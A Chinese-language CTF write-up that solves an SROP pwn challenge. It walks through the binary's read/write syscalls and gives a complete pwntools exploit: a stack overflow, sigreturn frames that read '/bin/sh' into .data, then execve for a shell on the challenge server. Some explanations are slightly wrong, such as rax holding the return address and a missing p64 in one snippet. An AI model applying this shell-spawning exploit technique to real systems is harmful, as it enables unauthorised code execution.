根据题目名字直接srop

反汇编完只有这些 start函数会执行sub_401000函数

看一下sub_401000的完整汇编调用,buf=-80h,在正常的栈中是rbp-80h的位置。下面给eax和edi分别赋值1,eax和edi分别是rax和rdi的低位寄存器,rax的作用是存放返回地址,rdi则是传递参数,在64位中参数分别从rdi,rsi,rdx,rcx传递。这里就是构成了write(1,buf,2A)这条系统调用 后面同理则是read(0,rsp-40,400)

看完汇编代码,能利用的gadget只有==syscall;leave;ret== 程序里没有"/bin/sh",需要自己往里写,这样的话就需要先往.data段写入"/bin/sh" 随后想办法控制signal frame,往里面写入exeecve获取shell

首先,read函数的系统调用号为0

#define __NR_read 0

利用pwntools的frame模块来构造payload

data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0 # stdin 也就是标准输入
frame.rsi = data_addr
frame.rdx = 0x400
#到这里其实就是构造了read(0,0x402000,0x400)
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
#这里我的理解是栈迁移从rax到rdx开始写入了4个0x8字节也就是0x20通过leave_ret迁移到.data段
#但是看了别的师傅的wp这里是为了后面再次溢出
payload=b'A' *0x88#栈溢出
payload+=p64(pop_rax_syscall_leave_ret)
payload+=0xf
#这里0xf是15,也就是syscall 15进行sigreturn,作用适合frame模块一样的
payload+=bytes(frame)

总体来讲,这段payload先栈溢出覆盖掉原来的retn,因为按照原程序,执行完read函数是要执行exit()退出程序的,这里先pop rax不会再跳回start执行exit 随后sigreturn清理栈,将寄存器清空利用frame往寄存器里写入,重新调用read函数

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = b'/bin/sh\\\\x00'
payload = payload.ljust(0x28,b'A')
#往.data段写入'/bin/sh\\\\x00',补满0x28字节栈溢出到返回地址
payload += p64(0x401032)
payload += p64(0xf)
payload += bytes(frame)

完整exp

from pwn import *

context.log_level='debug'

context.arch='amd64'

p=remote("node4.buuoj.cn",26869)

#p=process("./rsrop")

#libc=ELF("./libc64/libc-2.23.so")

#elf=ELF("./rsrop")

data_addr = 0x402000

syscall_leave_ret = 0x401033

pop_rax_syscall_leave_ret = 0x401032

syscall_addr = 0x401046

frame = SigreturnFrame(kernel="amd64")

frame.rax = 0 # read

frame.rdi = 0 # stdin 也就是标准输入

frame.rsi = data_addr

frame.rdx = 0x400

#到这里其实就是构造了read(0,0x402000,0x400)

frame.rip = syscall_leave_ret

frame.rbp = data_addr + 0x20

#这里我的理解是栈迁移从rax到rdx开始写入了4个0x8字节也就是0x20通过leave_ret迁移到.data段

#但是看了别的师傅的wp这里是为了后面再次溢出

payload=b'A' *0x88#栈溢出

payload+=p64(pop_rax_syscall_leave_ret)

payload+=p64(0xf)

#这里0xf是15,也就是syscall 15进行sigreturn,作用适合frame模块一样的

payload+=bytes(frame)

p.recvuntil("?")

p.sendline(payload)

frame = SigreturnFrame()

frame.rax = 0x3b

frame.rdi = 0x402000

frame.rsi = 0x0

frame.rdx = 0x0

frame.rip = 0x401033

payload = b'/bin/sh\\\\x00'

payload = payload.ljust(0x28,b'A')

#往.data段写入'/bin/sh\\\\x00',补满0x28字节栈溢出到返回地址

payload += p64(0x401032)

payload += p64(0xf)

payload += bytes(frame)

p.sendline(payload)

p.interactive()